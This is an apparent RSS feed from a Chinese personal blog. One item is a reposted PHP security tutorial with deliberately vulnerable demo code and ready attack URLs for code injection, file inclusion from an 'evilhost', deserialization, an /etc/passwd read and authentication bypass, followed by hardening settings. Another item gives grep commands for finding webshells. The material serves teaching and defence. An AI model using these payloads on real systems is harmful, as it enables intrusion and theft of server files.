<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>葡萄树 On The Road</title>
	<atom:link href="http://www.am82.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.am82.com</link>
	<description>我的时光，停留在了你的角落...~</description>
	<lastBuildDate>Wed, 22 Feb 2012 12:25:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Php手记【zZ】</title>
		<link>http://www.am82.com/6166/</link>
		<comments>http://www.am82.com/6166/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 12:25:14 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[php技术]]></category>
		<category><![CDATA[技术专题]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6166</guid>
		<description><![CDATA[Cookie验证漏洞

<?php
$AdminCookies = $_COOKIE['admin']['name'];
if ($Admin4z1==''){
        exit(showmsg('账号或密码错误',2,'index.php'));
}
?>
判断$Admin4z1是否为空 若不为空就登陆成功!!
$Admin4z1的值来源cookies admin[name]的值,修改cookies绕过验证

preg_replace()使用.......]]></description>
			<content:encoded><![CDATA[<p>from：<a href="http://hackxl96.blogspot.com/2012/02/php.html">http://hackxl96.blogspot.com/2012/02/php.html</a></p>
<p><strong>Cookie验证漏洞</strong></p>
<p>&lt;?php<br />
$AdminCookies = $_COOKIE['admin']['name'];<br />
if ($Admin4z1==”){<br />
exit(showmsg(&#8216;账号或密码错误&#8217;,2,&#8217;index.php&#8217;));<br />
}<br />
?&gt;<br />
判断$Admin4z1是否为空 若不为空就登陆成功!!<br />
$Admin4z1的值来源cookies admin[name]的值,修改cookies绕过验证</p>
<p>preg_replace()使用</p>
<p><strong>一 代码执行函数</strong></p>
<p>PHP中可以执行代码的函数。如eval()、assert()、“、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等</p>
<p>demo code 1.1:</p>
<p>&lt;?php<br />
echo `dir`;<br />
?&gt;</p>
<p><strong>二 文件包含代码注射</strong></p>
<p>文件包含函数在特定条件下的代码注射，如include()、include_once()、 require()、require_once()。</p>
<p>当allow_url_include=On ，PHP Version&gt;=5.2.0 时，导致代码注射。</p>
<p>demo code 2.1:</p>
<p>&lt;?php<br />
include($_GET['a']);<br />
?&gt;</p>
<p>访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即<br />
执行phpinfo()。</p>
<p><strong>三 正则匹配代码注射</strong></p>
<p>众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符，即允许执行代码。这里我们分三种情况讨论下</p>
<p><strong>3.1 preg_replace() pattern 参数注射</strong></p>
<p>pattern即第一个参数的代码注射。<br />
当magic_quotes_gpc=Off时，导致代码执行。</p>
<p>demo code 3.1:</p>
<p>&lt;?php<br />
echo $regexp = $_GET['reg'];<br />
$var = &#8216;&lt;php&gt;phpinfo()&lt;/php&gt;&#8217;;<br />
preg_replace(“/&lt;php&gt;(.*?)$regexp”, &#8216;\\1&#8242;, $var);<br />
?&gt;</p>
<p>访问http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e 即<br />
执行phpinfo()。</p>
<p><strong>3.2 preg_replace() replacement参数注射</strong></p>
<p>replacement即第二个参数的代码注射，导致代码执行。</p>
<p>demo code 3.2:</p>
<p>&lt;?<br />
preg_replace(“/test/e”,$_GET['h'],”jutst test”);<br />
?&gt;</p>
<p>当我们提交 http://127.0.0.1/preg_replace2.php?h=phpinfo() 即<br />
执行phpinfo()。</p>
<p><strong>3.3 preg_replace()第三个参数注射</strong></p>
<p>我们通过构造subject参数执行代码。提交：http://127.0.0.1/preg_replace3.php?h=[php]phpinfo()[/php]</p>
<p>或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行</p>
<p>demo code 3.3:</p>
<p>&lt;?<br />
preg_replace(“/\s*\[php\](.+?)\[\/php\]\s*/ies”, “\\1&#8243;, $_GET['h']);<br />
?&gt;</p>
<p><strong>四 动态代码执行</strong></p>
<p>4.1 动态变量代码执行</p>
<p>demo code 4.1:</p>
<p>&lt;?php<br />
$dyn_func = $_GET['dyn_func'];<br />
$argument = $_GET['argument'];<br />
$dyn_func($argument);<br />
?&gt;</p>
<p>我们提交 http://127.0.0.1/dyn_func.php?dyn_func=system&amp;argument=ipconfig 执行ipconfig命令</p>
<p><strong>4.2 动态函数代码执行</strong></p>
<p>demo code 4.2:<br />
&lt;pre lang=”php” file=”demo42.php” colla=”+”&gt;<br />
&lt;?php<br />
$foobar = $_GET['foobar'];<br />
$dyn_func = create_function(&#8216;$foobar&#8217;, “echo $foobar;”);<br />
$dyn_func(”);<br />
?&gt;<br />
&lt;/pre&gt;<br />
我们提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 执行dir命令</p>
<p><strong>五 其他</strong></p>
<p><strong>5.1 ob_start()函数的代码执行</strong></p>
<p>demo code 5.1:<br />
&lt;pre lang=”php” file=”demo51.php” colla=”+”&gt;<br />
&lt;?php<br />
$foobar = &#8216;system&#8217;;<br />
ob_start($foobar);<br />
echo &#8216;dir&#8217;;<br />
ob_end_flush();<br />
?&gt;<br />
&lt;/pre&gt;</p>
<p><strong>5.2 array_map()函数的代码执行</strong></p>
<p>demo code 5.2:</p>
<p>&lt;pre lang=”php” file=”demo52.php” colla=”+”&gt;<br />
&lt;?php<br />
$evil_callback = $_GET['callback'];<br />
$some_array = array(0, 1, 2, 3);<br />
$new_array = array_map($evil_callback, $some_array);<br />
?&gt;<br />
&lt;/pre&gt;<br />
我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。</p>
<p><strong>5.3 unserialize()与eval()</strong></p>
<p>unserialize（）是PHP中使用率非常高的函数。不正当使用unserialize（）容易导致安全隐患。<br />
(黑哥那个挑战2 http://hi.baidu.com/hi_heige/blog/item/505b2828da5b18f499250a9b.html)</p>
<p>demo code 5.3:</p>
<p>&lt;pre lang=”php” file=”demo53.php” colla=”+”&gt;<br />
&lt;?php<br />
class Example {<br />
var $var = ”;<br />
function __destruct() {<br />
eval($this-&gt;var);<br />
}<br />
}<br />
unserialize($_GET['saved_code']);<br />
?&gt;<br />
&lt;/pre&gt;<br />
我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。</p>
<p><strong>5.4 容易导致安全问题的函数</strong></p>
<p>同类型函数还有很多<br />
array_map()<br />
usort(), uasort(), uksort()<br />
array_filter()<br />
array_reduce()<br />
array_diff_uassoc(), array_diff_ukey()<br />
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()<br />
array_intersect_assoc(), array_intersect_uassoc()<br />
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()<br />
array_walk(), array_walk_recursive()<br />
xml_set_character_data_handler()<br />
xml_set_default_handler()<br />
xml_set_element_handler()<br />
xml_set_end_namespace_decl_handler()<br />
xml_set_external_entity_ref_handler()<br />
xml_set_notation_decl_handler()<br />
xml_set_processing_instruction_handler()<br />
xml_set_start_namespace_decl_handler()<br />
xml_set_unparsed_entity_decl_handler()<br />
stream_filter_register()<br />
set_error_handler()<br />
register_shutdown_function()<br />
register_tick_function()</p>
<div></div>
<div>
<div><strong>PHP程序的常见漏洞攻击分析</strong></div>
<div></div>
<div></div>
<div>不是固若金汤，随着PHP的广泛运用，一些黑客们也在无时不想找PHP的麻烦，通过PHP程序漏洞进行攻击就是其中一种。在节，我们将从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性。</div>
<div></div>
<div><strong>如何通过全局变量进行攻击？</strong></div>
<div></div>
<div>PHP中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其方便的处理方法。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量。</div>
<div></div>
<div>很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。</div>
<div></div>
<div>例如：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;FORM METHOD=”GET” ACTION=”test.php”&gt;</div>
<div>   2. &lt;INPUT TYPE=”TEXT” NAME=”hello”&gt;</div>
<div>   3. &lt;INPUT TYPE=”SUBMIT”&gt;</div>
<div>   4. &lt;/FORM&gt;</div>
<div></div>
<div>　　这会显示一个文本框和提交按钮。当用户点击提交按钮时，”test.php”会处理用户的输入，当”test.php”运行时，”$hello”会包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用”test.php”，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&amp;setup=no，那么，不止是”$hello”被创建，”$setup”也被创建了。</div>
<div></div>
<div><strong>下面的用户认证代码暴露了PHP的全局变量所导致的安全问题：</strong></div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;?php</div>
<div>   2. if ($pass == “hello”)</div>
<div>   3. $auth = 1;</div>
<div>   4. &#8230;</div>
<div>   5. if ($auth == 1)</div>
<div>   6. echo “some important information”;</div>
<div>   7. ?&gt;</div>
<div></div>
<div>　　上面的代码首先检查用户的密码是否为”hello”，如果匹配的话，设置”$auth”为”1&#8243;，即通过认证。之后如果”$suth”为”1&#8243;的话，就会显示一些重要信息。</div>
<div></div>
<div>这段代码假定”$auth”在没有设置值的时候是空的，但是攻击者可以创建任何全局变量并赋值，通过类似”http://server/test.php?auth=1&#8243;的方法，我们完全可以欺骗这段代码，使它相信我们是已经认证过的。</div>
<div></div>
<div>因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。</div>
<div></div>
<div>一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开”track_vars”选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。</div>
<div></div>
<div>但是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量，HTTP_POST_VARS数组用于处理POST方式提交的变量；HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中，因此一个安全的PHP程序应该检查这四个数组。</div>
<div></div>
<div><strong>如何通过远程文件进行攻击？</strong></div>
<div></div>
<div>PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者很容易实现特定功能。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就佐证这个问题的一个很好例子：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;?php</div>
<div>   2. if (!($fd = fopen(“$filename”, “r”))</div>
<div>   3. echo(“Could not open file: $filename＜BR＞\n”);</div>
<div>   4. ?&gt;</div>
<div></div>
<div>　　上面的脚本试图打开文件”$filename”，如果失败就显示错误信息。很明显，如果我们能够指定”$filename”的话，就能利用这个脚本浏览系统中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程文件的处理是透明的。</div>
<div></div>
<div>例如：</div>
<div></div>
<div>如果指定”$filename”为 “http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”</div>
<div></div>
<div>则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。这使得支持远程文件的 include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。</div>
<div></div>
<div>例如：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;?php</div>
<div>   2. include($libdir . “/languages.php”);</div>
<div>   3. ?&gt;</div>
<div></div>
<div>　　上例中”$libdir”一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得”$libdir”没有被设置的话，那么他就可以改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的”Poisonnull byte”攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件 languages.php，包含如下内容：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;?php</div>
<div>   2. passthru(“/bin/ls /etc”);</div>
<div>   3. ?&gt;</div>
<div></div>
<div>　　然后把”$libdir”设置为”http://＜evilhost＞/”，这样我们就可以在目标主机上执行上面的攻击代码，”/etc”目录的内容将作为结果返回到客户的浏览器中。</div>
<div></div>
<div>需要注意的是，攻击代码是不会在自身所在的服务器（也就是evilhost）上执行执行自身PHP程序的，否则，攻击代码会攻击自身所在的服务器，而不是在目标服务器执行。</div>
<div></div>
<div><strong>如何通过文件上载进行攻击？</strong></div>
<div></div>
<div>PHP自动支持基于RFC 1867的文件上载，我们看下面的例子：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;FORM METHOD=”POST” ENCTYPE=”multipart/form-data”&gt;</div>
<div>   2. &lt;INPUT TYPE=”FILE” NAME=”hello”&gt;</div>
<div>   3. &lt;INPUT TYPE=”HIDDEN” NAME=”MAX_FILE_SIZE” VALUE=”10240&#8243;&gt;</div>
<div>   4. &lt;INPUT TYPE=”SUBMIT”&gt;</div>
<div>   5. &lt;/FORM&gt;</div>
<div></div>
<div>　　上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过”$MAX_FILE_SIZE variable”定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。</div>
<div>因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。</div>
<div></div>
<div>让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且是存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似”phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。</div>
<div></div>
<div>大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子：</div>
<div>PHP代码</div>
<div></div>
<div>   1. $hello = Filename on local machine (e.g “/tmp/phpxXuoXG”)</div>
<div>   2. $hello_size = Size in bytes of file (e.g 1024)</div>
<div>   3. $hello_name = The original name of the file on the remote system (e.g”c:\\temp\\hello.txt”)</div>
<div>   4. $hello_type = Mime type of uploaded file (e.g “text/plain”)</div>
<div></div>
<div>　　然后，PHP程序开始处理根据”$hello”指定的文件。问题在于”$hello”不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式：</div>
<div></div>
<div>http://vulnhost/vuln.php?hello=/etc/passwd&amp;hello_size=10240&amp;hello_type=text/plain&amp;hello_name=hello.txt</div>
<div></div>
<div>就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））：</div>
<div>PHP代码</div>
<div></div>
<div>   1. $hello = “/etc/passwd”</div>
<div>   2. $hello_size = 10240</div>
<div>   3. $hello_type = “text/plain”</div>
<div>   4. $hello_name = “hello.txt”</div>
<div></div>
<div>　　上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理本应在上载者本机上的上载文件，而是处理服务器上”/etc/passwd”（通常会导致内容暴露）文件。这种攻击可以用于暴露任何敏感文件的内容。</div>
<div></div>
<div>新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法，所以也很容易受到这种攻击。</div>
<div></div>
<div>作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;?php</div>
<div>   2. if (file_exists($theme)) // Checks the file exists on the local system (noremote files)</div>
<div>   3. include(“$theme”);</div>
<div>   4. ?&gt;</div>
<div></div>
<div>　　如果攻击者可以控制”$theme”的话，很显然它可以利用”$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地机器上创建一个包含PHP代码的文件，然后创建一个包含名为”theme”的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码，PHP就会把攻击者提交的文件保存起来，并把”$theme”的值设置为攻击者提交的文件，这样file_exists()函数会检查通过，攻击者的代码也将执行。</div>
<div>获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具集，而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。</div>
<div></div>
<div><strong>如何通过库文件进行攻击？</strong></div>
<div></div>
<div>正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。</div>
<div></div>
<div>最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个”.inc”的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为 Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是”.php”， “.php3&#8243;和”.php4&#8243;。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。</div>
<div></div>
<div>最简单的解决方法就是：给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。</div>
<div></div>
<div>下面是一个很明显的例子：</div>
<div>PHP代码</div>
<div></div>
<div>   1. In main.php:</div>
<div>   2. &lt;?php</div>
<div>   3. $libDir = “/libdir”;</div>
<div>   4. $langDir = “$libdir/languages”;</div>
<div>   5. &#8230;</div>
<div>   6. include(“$libdir/loadlanguage.php”:</div>
<div>   7. ?&gt;</div>
<div>   8.</div>
<div>   9. In libdir/loadlanguage.php:</div>
<div>  10. &lt;?php</div>
<div>  11. &#8230;</div>
<div>  12.</div>
<div>  13. include(“$langDir/$userLang”);</div>
<div>  14. ?&gt;</div>
<div></div>
<div>　　当”libdir/loadlanguage.php”被”main.php”调用时是相当安全的，但是因为”libdir /loadlanguage”具有”.php”的扩展名，因此远程攻击者可以直接请求这个文件，并且可以任意指定”$langDir” 和”$userLang”的值。</div>
<div></div>
<div>如何通过Session文件进行攻击？</div>
<div></div>
<div>PHP 4或更新的版本提供了对sessions的支持，它的主要作用是在PHP程序中保存页与页之间的状态信息。例如，当一个用户登陆进入网站，他登陆了的这个事实以及谁登陆进入这个网站的相关信息都将被保存在session中，当他在网站中到处浏览时，所有的PHP代码都可以获得这些状态信息。</div>
<div></div>
<div>事实上，当一个session启动时（实际上是在配置文件中设置为在第一次请求时自动启动），就会生成一个随机的”session id”，如果远程浏览器总是在发送请求时提交这个”session id”的话，session就会一直保持。这通过Cookie很容易实现，也可以通过在每页提交一个表单变量（包含”session id”）来实现。PHP程序可以用session注册一个特殊的变量，它的值会在每个PHP脚本结束后存在session文件中，也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;?php</div>
<div>   2. session_destroy(); // Kill any data currently in the session</div>
<div>   3. $session_auth = “shaun”;</div>
<div>   4. session_register(“session_auth”); // Register $session_auth as a session variable</div>
<div>   5. ?&gt;</div>
<div></div>
<div>新版本的PHP都会自动把”$session_auth”的值设置为”shaun”，如果它们被修改的话，以后的脚本都会自动接受修改后的值，这对无状态的Web来说的确是种很不错的工具，但是我们也应该小心。</div>
<div></div>
<div>一个很明显的问题就是确保变量的确来自session，例如，给定上面的代码，如果后续的脚本是下面这样的话：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;?php</div>
<div>   2. if (!emptyempty($session_auth))</div>
<div>   3. // Grant access to site here</div>
<div>   4. ?&gt;</div>
<div></div>
<div>　　上面的代码假定如果”$session_auth”被赋值的话，就是从session，而不是从用户输入来赋值的，如果攻击者通过表单输入来赋值的话，他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法，一旦变量被放进了session，就会覆盖任何表单输入。</div>
<div></div>
<div>Session数据一般是保存在文件中（位置是可配置的，一般是”/tmp”），文件名一般是类似”sess_&lt;session id&gt;”的形式，这个文件包含变量名称，变量类型，变量值和一些其它的数据。在多主机系统中，因为文件是以运行Web服务器的用户身份（一般是 nobody）保存的，因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问，甚至可以检查session文件中的敏感信息。</div>
<div></div>
<div>Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便。对于上面的例子来说，攻击者需要在远程系统放置一个包含PHP代码的文件，如果不能利用文件上载做到的话，他通常会利用session为一个变量按照自己的意愿赋一个值，然后猜测session文件的位置，而他知道文件名是”php&lt;session id&gt;”，所以只需猜测目录，而目录一般就是”/tmp”。</div>
<div></div>
<div>另外，攻击者可以任意指定”session id”（例如”hello”），然后用这个”session id”创建一个session文件（例如”/tmp/sess_hello”），但是”session id”只能是字母和数字组合。</div>
<div></div>
<div>如何通过数据类型进行攻击？</div>
<div></div>
<div>PHP 具有比较松散的数据类型，变量的类型依赖于它们所处的上下文环境。例如：”$hello”开始是字符串变量，值为”"，但是在求值时，就变成了整形变量”0&#8243;，这有时可能会导致一些意想不到的结果。如果”$hello”的值为”000&#8243;还是为”0&#8243;是不同的，empty()返回的结果也不会为真。</div>
<div></div>
<div>PHP中的数组是关联数组，也就是说，数组的索引是字符串型的。这意味着”$hello["000"]“和”$hello[0]“也是不同的。</div>
<div></div>
<div>开发程序的时候应该仔细地考虑上面的问题，例如，我们不应该在一个地方测试某个变量是否为”0&#8243;，而在另外的地方使用empty()来验证。</div>
<div></div>
<div>如何通过容易出错的函数进行攻击？下面是一份比较详细的容易出错的函数列表：</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;PHP代码执行&gt;</div>
<div>   2. require()：读取指定文件的内容并且作为PHP代码解释</div>
<div>   3. include()：同上</div>
<div>   4. eval()：把给定的字符串作为PHP代码执行</div>
<div>   5. preg_replace()：当与”/e”开关一起使用时，替换字符串将被解释为PHP代码</div>
<div>   6.</div>
<div>   7.   &lt;命令执行&gt;</div>
<div>   8. exec()：执行指定的命令，返回执行结果的最后一行</div>
<div>   9. passthru()：执行指定命令，返回所有结果到客户浏览器</div>
<div>  10. “：执行指定命令，返回所有结果到一个数组</div>
<div>  11. system()：同passthru()，但是不处理二进制数据</div>
<div>  12. popen()：执行指定的命令，把输入或输出连接到PHP文件描述符</div>
<div>  13.</div>
<div>  14. &lt;文件泄露&gt;</div>
<div>  15. fopen()：打开文件，并对应一个PHP文件描述符</div>
<div>  16. readfile()：读取文件的内容，然后输出到客户浏览器</div>
<div>  17. file()：把整个文件内容读到一个数组中</div>
<div></div>
<div>　　<strong>如何增强PHP的安全性?</strong></div>
<div></div>
<div>我们在上面介绍的所有攻击对于缺省安装的PHP4都可以很好的实现，但是PHP的配置非常灵活，通过配置一些PHP选项，我们完全可能抵抗其中的一些攻击。下面我们按照实现的难度对一些配置进行了分类：</div>
<div></div>
<div>*低难度</div>
<div>**中低难度</div>
<div>***中高难度</div>
<div>****高难度</div>
<div></div>
<div>如果你使用了PHP提供的所有选项的话，那么你的PHP将是很安全的，即使是第三方的代码也是如此，因为其中很多功能已经不能使用。</div>
<div></div>
<div>**** 设置”register_globals”为”off”</div>
<div>这个选项会禁止PHP为用户输入创建全局变量，也就是说，如果用户提交表单变量”hello”，PHP不会创建”$ hello”，而只会创建”HTTP_GET/POST_VARS['hello']“。这是PHP中一个极其重要的选项，关闭这个选项，会给编程带来很大的不便。</div>
<div></div>
<div>*** 设置”safe_mode”为”on”</div>
<div></div>
<div>打开这个选项，会增加如下限制：</div>
<div></div>
<div>1． 限制哪个命令可以被执行</div>
<div>2． 限制哪个函数可以被使用</div>
<div>3． 基于脚本所有权和目标文件所有权的文件访问限制</div>
<div>4． 禁止文件上载功能</div>
<div></div>
<div>这对于ISP来说是一个”伟大”的选项，同时它也能极大地改进PHP的安全性。</div>
<div></div>
<div>** 设置”open_basedir”</div>
<div></div>
<div>这个选项可以禁止指定目录之外的文件操作，有效地消除了本地文件或者是远程文件被include()的攻击，但是仍需要注意文件上载和session文件的攻击。</div>
<div></div>
<div>** 设置”display_errors”为”off”，设置”log_errors”为”on”</div>
<div></div>
<div>这个选项禁止把错误信息显示在网页中，而是记录到日志文件中，这可以有效的抵制攻击者对目标脚本中函数的探测。</div>
<div></div>
<div>* 设置”allow_url_fopen”为”off”</div>
<div></div>
<div>这个选项可以禁止远程文件功能。</div>
<div></div>
<div></div>
<div></div>
<div>//这里allow_url_fopen 注意下,在jnc blog上看到,可以用</div>
<div>PHP代码</div>
<div></div>
<div>   1. &lt;?php</div>
<div>   2. include(&#8216;\\myip\test.php&#8217;);</div>
<div>   3. ?&gt;</div>
<div>   4.</div>
<div>   5. &lt;?php</div>
<div>   6. include(&#8216;//myip\test.php&#8217;);</div>
<div>   7. ?&gt;</div>
<div></div>
<div id="aeaoofnhgocdbnbeljkmbjdmhbcokfdb-mousedown">来饶过?</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6166/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>查找Centos Linux服务器上的WebShell后门</title>
		<link>http://www.am82.com/6163/</link>
		<comments>http://www.am82.com/6163/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 15:34:13 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[webshell]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6163</guid>
		<description><![CDATA[服务器被挂马或被黑的朋友应该知道，黑客入侵web服务器的第一目标是往服务器上上传一个webshell，有了webshell黑客就可以干更多的事情。网站被挂马后很多人会束手无策，无从查起，其实并不复杂，这里我将以php环境为例讲几个小技巧，希望对大家有帮助。

先讲一下思路，如果服务器上被上传了webshell那么我们肯定能够查到蛛丝马迹，比如php文件的时间，如果我们可以查找最后一次网站代码更新以后的所有php文件，方法.......]]></description>
			<content:encoded><![CDATA[<p>服务器被挂马或被黑的朋友应该知道，黑客入侵web服务器的第一目标是往服务器上上传一个webshell，有了webshell黑客就可以干更多的事情。网站被挂马后很多人会束手无策，无从查起，其实并不复杂，这里我将以php环境为例讲几个小技巧，希望对大家有帮助。</p>
<p id="aeaoofnhgocdbnbeljkmbjdmhbcokfdb-mousedown">先讲一下思路，如果服务器上被上传了webshell那么我们肯定能够查到蛛丝马迹，比如php文件的时间，如果我们可以查找最后一次网站代码更新以后的所有php文件，方法如下。</p>
<p>假设最后更新是10天前，我们可以查找10天内生成的可以php文件：</p>
<blockquote><p>find /var/webroot -name “*.php” -mtime -10</p></blockquote>
<p>命令说明：<br />
/var/webroot为网站根目录<br />
-name “*.php”为查找所有php文件<br />
-time -10为截止到现在10天</p>
<p>如果文件更新时间不确定，我们可以通过查找关键字的方法来确定。要想查的准确需要熟悉webshell常用的关键字，我这里列出一些常用的，其他的大家可以从网收集一些webshell，总结自己的关键字，括号里面我总结的一些关键字（eval,shell_exec,passthru,popen,system）查找方法如下：</p>
<blockquote><p>find /var/webroot -name “*.php” |xargs grep “eval” |more<br />
find /var/webroot -name “*.php” |xargs grep “shell_exec” |more<br />
find /var/webroot -name “*.php” |xargs grep “passthru” |more</p></blockquote>
<p>当然你还可以导出到文件，下载下来慢慢分析：</p>
<blockquote><p>find /home -name “*.php”|xargs grep “fsockopen”|more &gt;test.log</p></blockquote>
<p>这里我就不一一罗列了，如果有自己总结的关键字直接替换就可以。当然并不是所有的找出的文件都是webshell需要自己做一下判断，判断的方法也简单，直接从浏览器访问一下这个文件或者和自己找的一些webshell比较一下，看得多了，基本上一眼就可以判断是不是webshell文件。</p>
<div id="">原创文章如转载，请注明：转载自深度VPS [ http://www.deepvps.com ]</div>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6163/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>生日快乐&#8212;郑智化</title>
		<link>http://www.am82.com/6159/</link>
		<comments>http://www.am82.com/6159/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 15:01:34 +0000</pubDate>
